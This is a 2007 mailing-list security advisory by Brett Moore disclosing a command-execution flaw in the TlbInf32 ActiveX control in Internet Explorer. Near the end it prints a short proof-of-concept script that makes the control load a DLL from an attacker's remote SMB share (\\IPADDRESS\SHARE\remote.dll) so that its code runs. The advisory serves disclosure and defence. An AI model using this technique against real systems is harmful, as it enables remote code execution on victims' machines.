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Date: Thu, 16 Aug 2007 11:06:14 +1200
From: "Brett Moore" <>
To: <>
Subject: TlbInf32 ActiveX Command Execution

= TlbInf32 ActiveX Command Execution
= MS Bulletin posted:   
= Affected Software:
=      Internet Explorer
=         tlbInf32.dll
=         vstlbinf.dll
= Public disclosure on Wednesday August 15, 2007

The TypeLib Information object library , implemented in TlbInf32.dll,
is a set of COM objects designed to make type library browsing 
functionality easily accessible to both Visual Basic and C++

Although it is not marked as safe for scripting in the registry, it does
implement IObjectSafety.

   Report for Clsid: {8B217746-717D-11CE-AB5B-D41203C10000}
   RegKey Safe for Script: False
   RegKey Safe for Init: False
   Implements IObjectSafety: True
   IDisp Safe:  Safe for untrusted: caller,data

The TypeLibInfoFromFile() function is used to open a file and retrieve
typelib information from it.

   TypeLibInfoFromFile(ByVal FileName As String) As TypeLibInfo

This function will accept a webdav/smb share to a DLL file, allowing the
retrieval of information from a DLL hosted on a remote server.

  Type libraries can contain help information for the library itself
  (TypeLibInfo object), each TypeInfo (TypeInfo object), and each member
  (MemberInfo object). This information is available in several

  HelpString is the documentation string which appears as a short 
  description of the string in object browsers. If the optional LCID 
  (Language/Country identifier) is specified, then the returned string
  localized if possible.

  Documentation strings can be stored either in the type library
  or retrieved via a call to the DLLGetDocumentation entry point in the
  specified by the HelpStringDll property. 
  The HelpStringContext is passed to the HelpStringDll to get the
  documentation string for the object. The HelpStringDll and 
  HelpStringContext properties values are used automatically by the 
  HelpString property.

If the DLL file specified in the call to TypeLibInfoFromFile() has been 
modified to direct the HelpStringDll property to a DLL which exports
a malicious DLLGetDocumentation function, then this function will be 
executed when a request for the HelpString property is made. 

   <object width=1000 height=20 classid="CLSID:<CLASSID>"
   x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")
   ' Call the remote DLLGetDocumentation function

== Solutions ==

Install the vendor supplied patch.

== Credit ==

Discovered and advised to Microsoft November 23 2006 by Brett Moore of

As this is my last advisory release before I leave and head off 
into the future, I gotta say thanx to the team there, its been a blast

All you kiwis overseas have you thought about a trip home.


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